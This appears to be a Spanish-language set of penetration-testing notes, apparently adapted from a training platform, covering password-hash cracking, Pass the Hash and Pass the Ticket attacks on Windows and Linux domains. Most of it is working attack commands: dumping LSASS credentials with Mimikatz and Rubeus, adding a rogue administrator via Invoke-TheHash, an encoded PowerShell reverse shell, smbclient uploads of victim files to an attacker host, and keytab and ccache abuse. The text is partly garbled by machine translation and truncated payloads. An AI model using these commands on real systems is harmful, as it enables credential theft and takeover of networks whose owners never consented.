Unshadow

cp /etc/passwd /tmp/[Link]
cp /etc/shadow /tmp/[Link]
unshadow /tmp/[Link] /tmp/[Link] > /tmp/[Link]

Hashcat - Cracking Unshadowed Hashes

hashcat -m 1800 -a 0 /tmp/[Link] [Link] -o

/tmp/[Link]

Hashcat - Cracking MD5 Hashes

cat [Link]

hashcat -m 500 -a 0 [Link] [Link]

Pasar un archivo de linux victima a linux atacante

Este comando se ejecuta en la victima mientras el atacante escucha con [Link]

smbclient //IP-Atacante/a -N -c 'put /ruta/al/[Link]'

 Nuclei

[Link]

Instalación:

go install -v [Link]/projectdiscovery/nuclei/v3/cmd/nuclei@latest
ls $HOME/go/bin/nuclei
export PATH=$PATH:$HOME/go/bin
source ~/.bashrc # o source ~/.zshrc si usas Zsh
nuclei -version

Wapiti3

[Link]
[Link]

install

pip install wapiti3

pip install wapiti3 --break-system-packages

python3 -m venv ~/wapiti-env

source ~/wapiti-env/bin/activate
pip install --upgrade pip
pip install wapiti3
wapiti -u [Link]
 Pass The hash (PtH)

Un ataque Pass the Hash (PtH) es una técnica en la que un atacante utiliza un hash de
contraseña en lugar de la contraseña de texto sin formato para la autenticación. El
atacante no necesita descifrar el hash para obtener una contraseña en texto plano. Los
ataques PtH explotan el protocolo de autenticación, ya que el hash de la contraseña
permanece estático para cada sesión hasta que se cambia la contraseña.

Veamos cómo podemos realizar ataques Pass the Hash desde máquinas con Windows y
Linux.

Introducción a NTLM de Windows

Windows New Technology LAN Manager (NTLM) de Microsoft es un conjunto de protocolos

de seguridad que autentica las identidades de los usuarios y al mismo tiempo protege la
integridad y confidencialidad de sus datos. NTLM es una solución de inicio de sesión único
(SSO) que utiliza un protocolo de desafío-respuesta para verificar la identidad del usuario
sin que este proporcione una contraseña.

A pesar de sus defectos conocidos, NTLM todavía se usa comúnmente para garantizar la
compatibilidad con clientes y servidores heredados, incluso en sistemas modernos. Si bien
Microsoft continúa admitiendo NTLM, Kerberos ha asumido el control como mecanismo de
autenticación predeterminado en Windows 2000 y dominios posteriores de Active Directory
(AD).

Con NTLM, las contraseñas almacenadas en el servidor y el controlador de dominio no están

"saltadas", lo que significa que un adversario con un hash de contraseña puede autenticar
una sesión sin conocer la contraseña original. A esto lo llamamos Pass the Hash (PtH) Attack.

Pass The Hash con Mimikatz (Windows)

La primera herramienta que utilizaremos para realizar un ataque Pass the Hash es Mimikatz.
Mimikatz tiene un módulo llamado sekurlsa::pth que nos permite realizar un ataque Pass the
Hash iniciando un proceso utilizando el hash de la contraseña del usuario. Para utilizar este
módulo, necesitaremos lo siguiente:

/user- El nombre de usuario que queremos suplantar.

/rc4 o /NTLM- hash NTLM de la contraseña del usuario.
/domain- Dominio al que pertenece el usuario a suplantar. En el caso de una cuenta de
usuario local, podemos usar el nombre de la computadora, localhost o un punto (.).
/run- El programa que queremos ejecutar con el contexto del usuario (si no se especifica,
ejecutará [Link]).

Comando: (Comando ejecutado desde una consola de Windows victima)

[Link] privilege::debug "sekurlsa::pth /user:julio

/rc4:64F12CDDAA88057E06A81B54E73B949B /domain:[Link] /run:[Link]" exit
.\[Link] privilege::debug "sekurlsa::pth /user:Administrator
/rc4:30B3783CE2ABF1AF70F77D0660CF3453 /domain:[Link] /run:[Link]" exit
Ahora podemos usar [Link] para ejecutar comandos en el contexto del usuario. Para
este ejemplo, julio puede conectarse a una carpeta compartida denominada julio en el
DC.

[Link] "privilege::debug" "sekurlsa::pth /user:julio

/rc4:64f12cddaa88057e06a81b54e73b949b /domain:[Link] /run:[Link]" exit
En la consola nueva que aparece ejecutar more \\DC01\julio\[Link]

Podemos obtener todos los hashes NTLM de los usuarios en un .txt ejecutando lo siguiente
desde la carpeta donde tenemos [Link]

[Link] privilege::debug exit

[Link] "privilege::debug" "sekurlsa::logonPasswords full" "exit" >> c:\[Link]
Pass The Hash con PowerShell Invoke-TheHash (Windows)

Otra herramienta que podemos utilizar para realizar ataques Pass the Hash en Windows es
Invoke-TheHash. Esta herramienta es una colección de funciones de PowerShell para
realizar ataques Pass the Hash con WMI y SMB. Se accede a las conexiones WMI y SMB a
través de .NET TCPClient. La autenticación se realiza pasando un hash NTLM al protocolo de
autenticación NTLMv2. Los privilegios de administrador local no son necesarios en el lado
del cliente, pero el usuario y el hash que utilizamos para autenticar deben tener derechos
administrativos en la computadora de destino. Para este ejemplo usaremos el usuario julio
y el hash 64F12CDDAA88057E06A81B54E73B949B.
Al usar Invoke-TheHash, tenemos dos opciones: ejecución de comando SMB o WMI. Para
utilizar esta herramienta, debemos especificar los siguientes parámetros para ejecutar
comandos en la computadora de destino:

Target- Nombre de host o dirección IP del objetivo.

Username- Nombre de usuario a utilizar para la autenticación.
Domain- Dominio a utilizar para la autenticación. Este parámetro no es necesario con
cuentas locales o cuando se utiliza @dominio después del nombre de usuario.
Hash- Hash de contraseña NTLM para autenticación. Esta función aceptará el formato
LM:NTLM o NTLM.
Command- Comando a ejecutar sobre el objetivo. Si no se especifica un comando, la
función verificará si el nombre de usuario y el hash tienen acceso a WMI en el destino.

El siguiente comando utilizará el método SMB para la ejecución del comando para crear
un nuevo usuario llamado mark y agregarlo al grupo de Administradores.

Import-Module .\Invoke-TheHash.psd1
Invoke-SMBExec -Target IP-Atacante-Windows -Domain [Link] -Username julio -
Hash 64F12CDDAA88057E06A81B54E73B949B -Command "net user mark Password123
/add && net localgroup administrators mark /add" -Verbose

También podemos obtener una conexión de shell inversa en la máquina de destino. Si no

está familiarizado con los shells inversos, revise el módulo Shells & Payloads en HTB Academy.
Para obtener un shell inverso, necesitamos iniciar nuestro oyente usando Netcat en nuestra
máquina Windows, que tiene la dirección IP 172.16.1.X. Usaremos el puerto 8001 para
esperar la conexión.

Oyente Netcat

.\[Link] -lvnp 8001

Para crear un shell inverso simple usando PowerShell, podemos visitar

[Link] configurar nuestra IP [Link] y puerto 8001, y seleccionar la
opción PowerShell #3 (Base64), como se muestra en la siguiente imagen.

Ahora podemos ejecutar Invoke-TheHash para ejecutar nuestro script de shell inverso de
PowerShell en la computadora de destino. Tenga en cuenta que en lugar de proporcionar
la dirección IP, que es [Link], usaremos el nombre de la máquina DC01(cualquiera de
los dos funcionaría).
Invocar-TheHash con WMI

Import-Module .\Invoke-TheHash.psd1
Invoke-WMIExec -Target DC01 -Domain [Link] -Username julio -Hash
64F12CDDAA88057E06A81B54E73B949B -Command "powershell -e
JABjAGwACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA=="

El resultado es una conexión de shell inversa desde el host DC01 ([Link]-victima).

Herramientas para descargar en Windows victima (Si la situación lo permite)

Pass The Hash con Impacket (Linux)

Impacket tiene varias herramientas que podemos usar para diferentes operaciones como
Command Execution y Credential Dumping, Enumeration etc. Para este ejemplo,
realizaremos la ejecución de comandos en la máquina de destino usando PsExec.

Pasar el Hash con Impacket PsExec

impacket-psexec administrator@[Link] -hashes

:30B3783CE2ABF1AF70F77D0660CF3453

Hay varias otras herramientas en el kit de herramientas de Impacket que podemos usar
para la ejecución de comandos mediante ataques Pass the Hash, como:

• impacto-wmiexec
• impacto-atexec
• impacto-smbexec

Pass The Hash con CrackMapExec (Linux)

CrackMapExec es una herramienta posterior a la explotación que ayuda a automatizar la

evaluación de la seguridad de grandes redes de Active Directory. Podemos usar
CrackMapExec para intentar autenticarnos en algunos o todos los hosts de una red
buscando un host donde podamos autenticarnos exitosamente como administrador local.
Este método también se denomina "pulverización de contraseñas" y se trata en profundidad
en el módulo Enumeración y ataques de Active Directory. Tenga en cuenta que este
método puede bloquear cuentas de dominio, así que tenga en cuenta la política de
bloqueo de cuentas del dominio de destino y asegúrese de utilizar el método de cuenta
local, que intentará solo un intento de inicio de sesión en un host en un rango determinado
utilizando las credenciales proporcionadas si es así. es tu intención.

crackmapexec smb [Link]/24 -u Administrator -d . -H

30B3783CE2ABF1AF70F77D0660CF3453
Si queremos realizar las mismas acciones, pero intentamos autenticarnos en cada host en
una subred usando el hash de contraseña del administrador local, podríamos agregar --
local-auth a nuestro comando. Este método es útil si obtenemos un hash de administrador
local volcando la base de datos SAM local en un host y queremos verificar a cuántos (si hay
alguno) otros hosts podemos acceder debido a la reutilización de la contraseña del
administrador local. Si vemos Pwn3d!, significa que el usuario es un administrador local en la
computadora de destino. Podemos usar la opción -x para ejecutar comandos. Es común
ver la reutilización de contraseñas en muchos hosts en la misma subred. Las organizaciones
suelen utilizar imágenes doradas con la misma contraseña de administrador local o
establecer esta contraseña de la misma manera en varios hosts para facilitar la
administración. Si nos encontramos con este problema en un compromiso del mundo real,
una gran recomendación para el cliente es implementar la Solución de contraseña de
administrador local (LAPS), que aleatoriza la contraseña del administrador local y se puede
configurar para que rote en un intervalo fijo.

CrackMapExec - Ejecución de comandos

crackmapexec smb [Link] -u Administrator -d . -H

30B3783CE2ABF1AF70F77D0660CF3453 -x whoami

Revise la Wiki de documentación de CrackMapExec para obtener más información sobre

las amplias funciones de la herramienta.

Pass The Hash con evil-winrm (Linux)

evil-winrm es otra herramienta que podemos usar para autenticarnos mediante el ataque
Pass the Hash con comunicación remota de PowerShell. Si SMB está bloqueado o no
tenemos derechos administrativos, podemos usar este protocolo alternativo para
conectarnos a la máquina de destino.

evil-winrm -i [Link] -u Administrator -H 30B3783CE2ABF1AF70F77D0660CF3453

Nota: Cuando utilizamos una cuenta de dominio, debemos incluir el nombre del dominio,
por ejemplo: administrador@[Link]
Pass The Hash con RDP (Linux)

Podemos realizar un ataque RDP PtH para obtener acceso GUI al sistema de destino
utilizando herramientas como xfreerdp.

Hay algunas advertencias sobre este ataque:

• Restricted Admin Mode, que está deshabilitado de forma predeterminada, debe

estar habilitado en el host de destino; de lo contrario, se le presentará el siguiente
error:

Esto se puede habilitar agregando una nueva clave de registro DisableRestrictedAdmin

(REG_DWORD) HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa con el valor
de 0. Se puede hacer usando el siguiente comando:

Habilite el modo de administración restringido para permitir PtH

reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v

DisableRestrictedAdmin /d 0x0 /f
Una vez agregada la clave de registro, podemos usar xfreerdp la opción /pth para obtener
acceso RDP:

Pass The hash usando RDP

xfreerdp /v:[Link] /u:julio /pth:64F12CDDAA88057E06A81B54E73B949B

Los límites de UAC pasan el hash para cuentas locales

UAC (Control de cuentas de usuario) limita la capacidad de los usuarios locales para realizar
operaciones de administración remota. Cuando la clave de registro
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\LocalAccountToke
nFilterPolicy se establece en 0, significa que la cuenta de administrador local integrada
(RID-500, "Administrador") es la única cuenta local permitida para realizar tareas de
administración remota. Establecerlo en 1 también permite a los demás administradores
locales.

Nota: Hay una excepción: si la clave de registro FilterAdministratorToken (deshabilitada de

forma predeterminada) está habilitada (valor 1), la cuenta RID 500 (incluso si se le cambia
el nombre) se inscribe en la protección UAC. Esto significa que la PTH remota fallará en la
máquina cuando se use esa cuenta.

Estas configuraciones son solo para cuentas administrativas locales. Si obtenemos acceso
a una cuenta de dominio con derechos administrativos en una computadora, aún
podemos usar Pass the Hash con esa computadora. Si desea obtener más información
sobre LocalAccountTokenFilterPolicy, puede leer la publicación del blog de Will Schroeder
Pass-the-Hash Is Dead: Long Live LocalAccountTokenFilterPolicy .
 Pass the Ticket (PtT) from Windows

Otro método para moverse lateralmente en un entorno de Active Directory se denomina

ataque Pass the Ticket (PtT). En este ataque, utilizamos un ticket Kerberos robado para
movernos lateralmente en lugar de un hash de contraseña NTLM. Cubriremos varias formas
de realizar un ataque PtT desde Windows y Linux. En esta sección, nos centraremos en los
ataques de Windows y, en la siguiente sección, cubriremos los ataques de Linux.

Actualización del protocolo Kerberos

El sistema de autenticación Kerberos se basa en tickets.

Es TGT - Ticket Granting Ticket el primer ticket obtenido en un sistema Kerberos. El TGT permite
al cliente obtener tickets Kerberos adicionales o TGS.
La TGS - Ticket Granting Service solicitan los usuarios que quieren utilizar un servicio. Estos
tickets permiten que los servicios verifiquen la identidad del usuario.

Cuando un usuario solicita un correo electrónico TGT, debe autenticarse en el controlador

de dominio cifrando la marca de tiempo actual con su hash de contraseña. Una vez que
el controlador de dominio valida la identidad del usuario (porque el dominio conoce el hash
de la contraseña del usuario, lo que significa que puede descifrar la marca de tiempo),
envía al usuario un TGT para futuras solicitudes. Una vez que el usuario tiene su ticket no
necesita acreditar quién es con su contraseña.

Si el usuario desea conectarse a una base de datos MSSQL, solicitará un Servicio de

Otorgamiento de Tickets (TGS) al Centro de Distribución de Claves (KDC), presentando su
Ticket de Otorgamiento de Boletos (TGT). Luego entregará el TGS al servidor de base de
datos MSSQL para su autenticación.

Se recomienda echar un vistazo a la sección Kerberos, DNS, LDAP, MSRPC en el módulo

Introducción a Active Directory para obtener una descripción general de alto nivel de
cómo funciona este protocolo.

Pass Ticket Attack (PtT)

Pasar el ataque del ticket (PtT)

Necesitamos un ticket Kerberos válido para realizar un archivo Pass the Ticket (PtT). Puede
ser:

Ticket de servicio (TGS - Servicio de concesión de tickets) para permitir el acceso a un

recurso en particular.
Ticket Granting Ticket (TGT), que utilizamos para solicitar tickets de servicio para acceder a
cualquier recurso con privilegios para el usuario.
Script

Imaginemos que estamos en un pentest y logramos hacer phishing a un usuario y obtener

acceso a su computadora. Encontramos una manera de obtener privilegios administrativos
en esta computadora y estamos trabajando con derechos de administrador local.
Exploremos varias formas en las que podemos conseguir tickets de acceso en esta
computadora y cómo podemos crear tickets nuevos.

Cosecha de tickets Kerberos desde Windows

En Windows, los tickets se procesan y almacenan mediante el proceso LSASS (Servicio del
subsistema de autoridad de seguridad local). Por lo tanto, para obtener un ticket desde un
sistema Windows, debes comunicarte con LSASS y solicitarlo. Como usuario no
administrativo, sólo podrás conseguir tus tickets, pero como administrador local, podrás
recogerlo todo.

Podemos recolectar todos los tickets de un sistema usando el Mimikatz módulo

sekurlsa::tickets /export. El resultado es una lista de archivos con la extensión .kirbi, que
contienen los tickets.

Mimikatz - Entradas de Exportación

[Link]
privilege::debug
sekurlsa::tickets /export
Los tickets que terminan en $ corresponden a la cuenta de la computadora, la cual
necesita un ticket para interactuar con Active Directory. Los tickets de usuario tienen el
nombre del usuario, seguido de un signo @ que separa el nombre del servicio y el dominio,
por ejemplo: [randomvalue]-username@[Link].

Nota: Si recoges un boleto con el servicio krbtgt, corresponde al TGT de esa cuenta.

RUBEUS

También podemos exportar tickets usando Rubeus y la opción dump. Esta opción se puede
utilizar para volcar todos los tickets (si se ejecuta como administrador local). Rubeus dump,
en lugar de darnos un archivo, imprimirá el ticket codificado en formato base64. Estamos
agregando la opción /nowrap para copiar y pegar más fácilmente.

Nota: Al momento de escribir este artículo, usando Mimikatz versión 2.2.0 20220919, si
ejecutamos "sekurlsa::ekeys", presenta todos los hashes como des_cbc_md4 en algunas
versiones de Windows 10. Los tickets exportados (sekurlsa::tickets /export) no funcionan
correctamente debido a un cifrado incorrecto. Es posible utilizar estos hashes para generar
nuevos tickets o utilizar Rubeus para exportar tickets en formato base64.

Rubeus - Entradas de Exportación

[Link] dump /nowrap

Nota: Para cobrar todos los tickets necesitamos ejecutar Mimikatz o Rubeus como
administrador.

Esta es una forma común de recuperar boletos desde una computadora. Otra ventaja de
abusar de los tickets Kerberos es la posibilidad de falsificar nuestros propios tickets. Veamos
cómo podemos hacer esto usando la técnica OverPass the Hash or Pass the Key.

Pass the Key or OverPass the Hash (Pase la clave o pase por alto el hash)

Pase la clave o pase por alto el hash

La técnica tradicional Pass the Hash (PtH) implica reutilizar un hash de contraseña NTLM que
no toca Kerberos. El enfoque Pass the Key or OverPass the Hash convierte un hash/clave
(rc4_hmac, aes256_cts_hmac_sha1, etc.) para un usuario unido a un dominio en un
archivo Ticket-Granting-Ticket (TGT). Esta técnica fue desarrollada por Benjamin Delpy y Skip
Duckwall en su presentación Abusing Microsoft Kerberos - Sorry, chicos, no lo entienden .
También Will Schroeder adaptó su proyecto para crear la herramienta Rubeus .

Para falsificar nuestros tickets, necesitamos tener el hash del usuario; Podemos usar Mimikatz
para volcar las claves de cifrado Kerberos de todos los usuarios usando el
módulo sekurlsa::ekeys. Este módulo enumerará todos los tipos de claves presentes para el
paquete Kerberos.

Mimikatz - Extraer claves Kerberos

[Link]
privilege::debug
sekurlsa::ekeys
Ahora que tenemos acceso a las claves AES256_HMAC y RC4_HMAC, podemos realizar el
ataque OverPass the Hash o Pass the Key usando Mimikatz y Rubeus.

Mimikatz: pasar la clave o pasar por alto el hash (pass key or bypass hash)

[Link]
privilege::debug
sekurlsa::pth /domain:[Link] /user:plaintext
/ntlm:3f74aa8f08f712f09cd5177b5c1ce50f

Esto creará una nueva ventana [Link] que podemos usar para solicitar acceso a
cualquier servicio que queramos en el contexto del usuario objetivo.

Para falsificar un ticket usando Rubeus, podemos usar el módulo asktgt con el nombre de
usuario, dominio y hash que puede ser /rc4, /aes128, /aes256 o /des. En el siguiente ejemplo,
utilizamos el hash aes256 de la información que recopilamos mediante Mimikatz
sekurlsa::ekeys.

Rubeus: pasar la clave o pasar por alto el hash

Ejemplo de comando:

[Link] asktgt /domain:[Link] /user:plaintext

/aes256:b21c99fc068e3ab2ca789bccbef67de43791fd911c6e15ead25641a8fda3fe60
/nowrap
Nota: Mimikatz requiere derechos administrativos para realizar los ataques Pass the
Key/OverPass the Hash, mientras que Rubeus no.

Para obtener más información sobre la diferencia entre Mimikatz sekurlsa::pth y Rubeus
asktgt, consulte la documentación de la herramienta Rubeus Ejemplo para OverPass the
Hash.

Nota: Los dominios modernos de Windows (nivel funcional 2008 y superior) utilizan el cifrado
AES de forma predeterminada en los intercambios normales de Kerberos. Si utilizamos un
hash rc4_hmac (NTLM) en un intercambio de Kerberos en lugar de una clave
aes256_cts_hmac_sha1 (o aes128), se puede detectar como una "degradación de cifrado".
Pass the Ticket (PtT)

Ahora que tenemos algunos tickets de Kerberos, podemos usarlos para movernos
lateralmente dentro de un entorno.

Realizamos un Rubeus ataque OverPass the Hash y recuperamos el ticket en formato

base64. En su lugar, podríamos usar la bandera /ptt para enviar el ticket (TGT o TGS) a la
sesión de inicio de sesión actual.

[Link] asktgt /domain:[Link] /user:plaintext

/rc4:3f74aa8f08f712f09cd5177b5c1ce50f /ptt

Tenga en cuenta que ahora se muestra Ticket successfully imported!.

Otra forma es importar el ticket a la sesión actual utilizando el .kirbi archivo del disco.

Usemos un ticket exportado desde Mimikatz e importemoslo usando Pass the Ticket.
Rubeus - Pass the Ticket

[Link] ptt /ticket:[0;6c680]-2-0-40e10000-plaintext@[Link]

[Link] ptt /ticket:C:\tools\[0;4dc52]-2-0-40e10000-john@krbtgt-
[Link]

También podemos usar la salida base64 de Rubeus o convertir un .kirbi a base64 para
realizar el ataque Pass the Ticket. Podemos usar PowerShell para convertir un .kirbi a base64.

Convertir .kirbi al formato Base64

[Convert]::ToBase64String([[Link]]::ReadAllBytes("[0;6c680]-2-0-40e10000-
plaintext@[Link]"))

Usando Rubeus, podemos realizar Pass the Ticket proporcionando la cadena base64 en
lugar del nombre del archivo.
Pase el boleto - Formato Base64 (Pass the Ticket - Base64 Format)

[Link] ptt
/ticket:doIE1jCCBNKgAwIBBaEDAgEWooID+TCCA/VhggPxMIID7aADAgEFoQkbB0hUQi5D
T02iHDAaoAMCAQKhEzARGwZrcmJ0Z3QbB2h0Yi5jb22jggO7MIIDt6ADAgESoQMCAQKig
gOpBIIDpY8Kcp4i71zFcWRgpx8ovymu3HmbOL4MJVCfkGIrdJEO0iPQbMRY2pzSrk/gHuER2
XRLdV/

Por último, también podemos realizar el ataque Pass the Ticket usando el módulo Mimikatz
kerberos::ptt y el archivo .kirbi que contiene el ticket que queremos importar.

Mimikatz - Pass the Ticket

[Link]
privilege::debug
kerberos::ptt "C:\Users\plaintext\Desktop\Mimikatz\[0;6c680]-2-0-40e10000-
plaintext@[Link]"
En lugar de los comandos [Link] "privilege::debug" "kerberos::ptt
anteriores el oneliner C:\tools\[0;4dc52]-2-0-40e10000-john@krbtgt-
[Link]"
Nota: En lugar de abrir [Link] con [Link] y salir para obtener el ticket en el símbolo
del sistema actual, podemos usar el módulo Mimikatz misc para iniciar una nueva ventana
del símbolo del sistema con el ticket importado usando el misc::cmd comando.

Pase el ticket con PowerShell Remoting (Windows)

Pass The Ticket with PowerShell Remoting (Windows)

PowerShell Remoting nos permite ejecutar scripts o comandos en un ordenador remoto. Los
administradores suelen utilizar PowerShell Remoting para administrar computadoras remotas
en la red. Habilitar PowerShell Remoting crea escuchas HTTP y HTTPS. La escucha se ejecuta
en el puerto estándar TCP/5985 para HTTP y TCP/5986 para HTTPS.

Para crear una sesión de PowerShell Remoting en una computadora remota, debe tener
permisos administrativos, ser miembro del grupo Usuarios de administración remota o tener
permisos explícitos de PowerShell Remoting en la configuración de su sesión.

Supongamos que encontramos una cuenta de usuario que no tiene privilegios

administrativos en una computadora remota pero que es miembro del grupo Usuarios de
administración remota. En ese caso, podemos usar PowerShell Remoting para conectarnos
a esa computadora y ejecutar comandos.

Mimikatz - Comunicación remota PowerShell con Pass the Ticket

Para usar PowerShell Remoting con Pass the Ticket, podemos usar Mimikatz para importar
nuestro ticket y luego abrir una consola PowerShell y conectarnos a la máquina de destino.
Abramos uno nuevo [Link] y ejecutemos [Link], luego importemos el ticket que
recopilamos usando kerberos::ptt. Una vez que el ticket se importa a nuestra sesión de
[Link], podemos iniciar un símbolo del sistema de PowerShell desde el mismo [Link] y
usar el comando Enter-PSSession para conectarnos a la máquina de destino.
Mimikatz - Pass the Ticket for Lateral Movement.

[Link]
privilege::debug
kerberos::ptt "C:\Users\Administrator.WIN01\Desktop\[0;1812a]-2-0-40e10000-
john@[Link]"
exit
powershell
Enter-PSSession -ComputerName DC01
whoami
hostname

Rubeus - Comunicación remota PowerShell con Pass the Ticket

Rubeus tiene la opción createnetonly, que crea un proceso de sacrificio/sesión de inicio de

sesión (tipo de inicio de sesión 9). El proceso está oculto de forma predeterminada, pero
podemos especificar la bandera /show para mostrar el proceso y el resultado es el
equivalente a runas /netonly. Esto evita el borrado de los TGT existentes para la sesión de
inicio de sesión actual.

[Link] createnetonly /program:"C:\Windows\System32\[Link]" /show

El comando anterior abrirá una nueva ventana de cmd. Desde esa ventana, podemos
ejecutar Rubeus para solicitar un nuevo TGT con la opción /ptt de importar el ticket a nuestra
sesión actual y conectarnos al DC usando PowerShell Remoting.

Rubeus - Pass the Ticket for Lateral Movement

[Link] asktgt /user:john /domain:[Link]

/aes256:9279bcbd40db957a0ed0d3856b2e67f9bb58e6dc7fc07207d0763ce2713f11dc
/ptt
powershell
Enter-PSSession -ComputerName DC01
whoami
hostname

Avanzando (Moving On)

Ahora hemos cubierto varias formas de realizar ataques Pass the Ticket desde un host de
Windows. La siguiente sección cubrirá esta misma técnica de movimiento lateral utilizando
un host de ataque Linux.
Pass the Ticket (PtT) from Linux

Aunque no es común, las computadoras con Linux pueden conectarse a Active Directory
para proporcionar administración de identidades centralizada e integrarse con los sistemas
de la organización, brindando a los usuarios la capacidad de tener una identidad única
para autenticarse en computadoras con Linux y Windows.

Una computadora Linux conectada a Active Directory comúnmente usa Kerberos como
autenticación. Supongamos que este es el caso y logramos comprometer una máquina
Linux conectada a Active Directory. En ese caso, podríamos intentar encontrar tickets de
Kerberos para hacerse pasar por otros usuarios y obtener más acceso a la red.

Nota: Una máquina Linux no conectada a Active Directory podría usar tickets de Kerberos
en scripts o para autenticarse en la red. No es necesario estar unido al dominio para utilizar
tickets Kerberos desde una máquina Linux.

Kerberos en Linux

Windows y Linux utilizan el mismo proceso para solicitar un Ticket de concesión de tickets
(TGT) y un Ticket de servicio (TGS). Sin embargo, la forma en que almacenan la información
del ticket puede variar según la distribución e implementación de Linux.

En la mayoría de los casos, las máquinas Linux almacenan tickets de Kerberos

como archivos ccache en el directorio /tmp. De forma predeterminada, la ubicación del
ticket de Kerberos se almacena en la variable de entorno KRB5CCNAME. Esta variable
puede identificar si se están utilizando tickets de Kerberos o si se cambia la ubicación
predeterminada para almacenar tickets de Kerberos. Estos archivos ccache están
protegidos por permisos de lectura y escritura, pero un usuario con privilegios elevados o
privilegios de root podría obtener acceso fácilmente a estos tickets.

Otro uso cotidiano de Kerberos en Linux es con archivos keytab . Una tabla de claves es un
archivo que contiene pares de principales de Kerberos y claves cifradas (que se derivan de
la contraseña de Kerberos). Puede usar un archivo de tabla de claves para autenticarse en
varios sistemas remotos usando Kerberos sin ingresar una contraseña. Sin embargo, cuando
cambia su contraseña, debe volver a crear todos sus archivos de tabla de claves.

Nota: Cualquier computadora que tenga instalado un cliente Kerberos puede crear
archivos de tabla de claves. Los archivos Keytab se pueden crear en una computadora y
copiar para su uso en otras computadoras porque no están restringidos a los sistemas en los
que se crearon inicialmente.

Scenario

Para practicar y entender cómo podemos abusar de Kerberos desde un sistema Linux,
tenemos una computadora (LINUX01) conectada al Controlador de Dominio. Solo se
puede acceder a esta máquina a través de MS01. Para acceder a esta máquina a través
de SSH, podemos conectarnos MS01 a través de RDP y, desde allí, conectarnos a la
máquina Linux usando SSH desde la línea de comandos de Windows. Otra opción es utilizar
un redireccionamiento de puertos. Si no sabes cómo hacerlo, puedes leer el
módulo Pivoting, Tunneling y Port Forwarding .

Autenticación de Linux desde la imagen MS01

Como alternativa, creamos un redireccionamiento de puertos para simplificar la

interacción con LINUX01. Al conectarnos al puerto TCP/2222 en MS01, obtendremos acceso
al puerto TCP/22 en LINUX01.

Supongamos que estamos en una nueva evaluación y la empresa nos da acceso LINUX01
y el usuario david@[Link] y contraseña Password2.

Autenticación de Linux a través de reenvío de puerto

ssh david@[Link]@[Link] -p 2222

Identificación de la integración de Linux y Active Directory

Podemos identificar si la máquina Linux está unida a un dominio usando kingdom , una
herramienta utilizada para administrar la inscripción del sistema en un dominio y establecer
qué usuarios o grupos del dominio pueden acceder a los recursos del sistema local.

reino - Comprobar si la máquina Linux está unida al dominio

realm list

El resultado del comando indica que la máquina está configurada como miembro de
Kerberos. También nos da información sobre el nombre del dominio ([Link]) y qué
usuarios y grupos pueden iniciar sesión, que en este caso son los usuarios David y Julio y el
grupo Linux Admins.

En caso de que kingdom no esté disponible, también podemos buscar otras herramientas
utilizadas para integrar Linux con Active Directory como sssd o winbind . Buscar los servicios
que se ejecutan en la máquina es otra forma de identificar si está unida al dominio.
Podemos leer esta publicación de blog para más detalles. Busquemos esos servicios para
confirmar si la máquina está unida al dominio.

ps -ef | grep -i "winbind\|sssd"

Encontrar tickets de Kerberos en Linux

Como atacante, siempre buscamos credenciales. En máquinas unidas a un dominio Linux,

queremos encontrar tickets de Kerberos para obtener más acceso. Los tickets de Kerberos
se pueden encontrar en diferentes lugares según la implementación de Linux o si el
administrador cambia la configuración predeterminada. Exploremos algunas formas
comunes de encontrar tickets de Kerberos.

Encontrar archivos de tabla de claves (keytab)

Un método sencillo es utilizar find para buscar archivos cuyo nombre contenga la
palabra keytab. Cuando un administrador normalmente crea un ticket de Kerberos para
usarlo con un script, establece la extensión en .keytab. Aunque no es obligatorio, es una
forma en la que los administradores suelen referirse a un archivo de tabla de claves.

Uso de Buscar para buscar archivos con Keytab en el nombre

find / -name *keytab* -ls 2>/dev/null

Nota: Para utilizar un archivo keytab, debemos tener privilegios de lectura y escritura (rw) en
el archivo.

Otra forma de buscar archivos keytab es mediante scripts automatizados configurados

mediante un cronjob o cualquier otro servicio de Linux.

Identificar archivos Keytab en Cronjobs

crontab -l
cat /home/carlos@[Link]/.scripts/kerberos_script_test.sh
En el script anterior, notamos el uso de kinit , lo que significa que Kerberos está en
uso. kinit permite la interacción con Kerberos, y su función es solicitar el TGT del usuario y
almacenar este ticket en el caché (archivo ccache). Podemos usarlo kinit para
importar keytab a nuestra sesión y actuar como usuario.

En este ejemplo, encontramos un script que importa un ticket de Kerberos

(svc_workstations.kt) para el usuario svc_workstations@[Link] antes de intentar
conectarse a una carpeta compartida. Más adelante discutiremos cómo usar esos tickets
y hacerse pasar por usuarios.

Nota: Como comentamos en la sección Pasar el ticket desde Windows, una cuenta de
computadora necesita un ticket para interactuar con el entorno de Active Directory. De
manera similar, una máquina unida a un dominio Linux necesita un ticket. El ticket se
representa como un archivo de tabla de claves ubicado de forma predeterminada
en /etc/[Link] solo puede ser leído por el usuario root. Si logramos acceder a este
ticket, podemos suplantar la cuenta de computadora LINUX01$.[Link]

Encontrar archivos ccache

Una caché de credenciales o un archivo ccache contiene las credenciales de Kerberos

mientras siguen siendo válidas y, en general, mientras dura la sesión del usuario. Una vez
que un usuario se autentica en el dominio, se crea un archivo ccache que almacena la
información del ticket. La ruta a este archivo se coloca en la variable de entorno
KRB5CCNAME. Esta variable la utilizan las herramientas que admiten la autenticación
Kerberos para encontrar los datos de Kerberos. Busquemos las variables de entorno e
identifiquemos la ubicación de nuestra caché de credenciales de Kerberos:

Revisión de variables de entorno para archivos ccache.

env | grep -i krb5

Como se mencionó anteriormente, los archivos se encuentran ccache, de forma

predeterminada, en /tmp. Podemos buscar usuarios que hayan iniciado sesión en la
computadora y, si obtenemos acceso como root o usuario privilegiado, podremos hacerse
pasar por un usuario usando su archivo ccache mientras aún sea válido.

Buscando archivos ccache en /tmp

Abusar de archivos KeyTab (usos para un archivo keytab)

Como atacantes, podemos tener varios usos para un archivo keytab. Lo primero que
podemos hacer es suplantar a un usuario usando kinit. Para utilizar un archivo keytab,
necesitamos saber para qué usuario fue creado. Klist es otra aplicación utilizada para
interactuar con Kerberos en Linux. Esta aplicación lee información de un archivo keytab.
Veámoslo con el siguiente comando:

klist -k -t

Listado de información del archivo de tabla de claves

El ticket corresponde al usuario Carlos. Ahora podemos suplantar al usuario con kinit.
Confirmemos con qué ticket estamos usando klist y luego importemos el ticket de Carlos a
nuestra sesión con kinit.

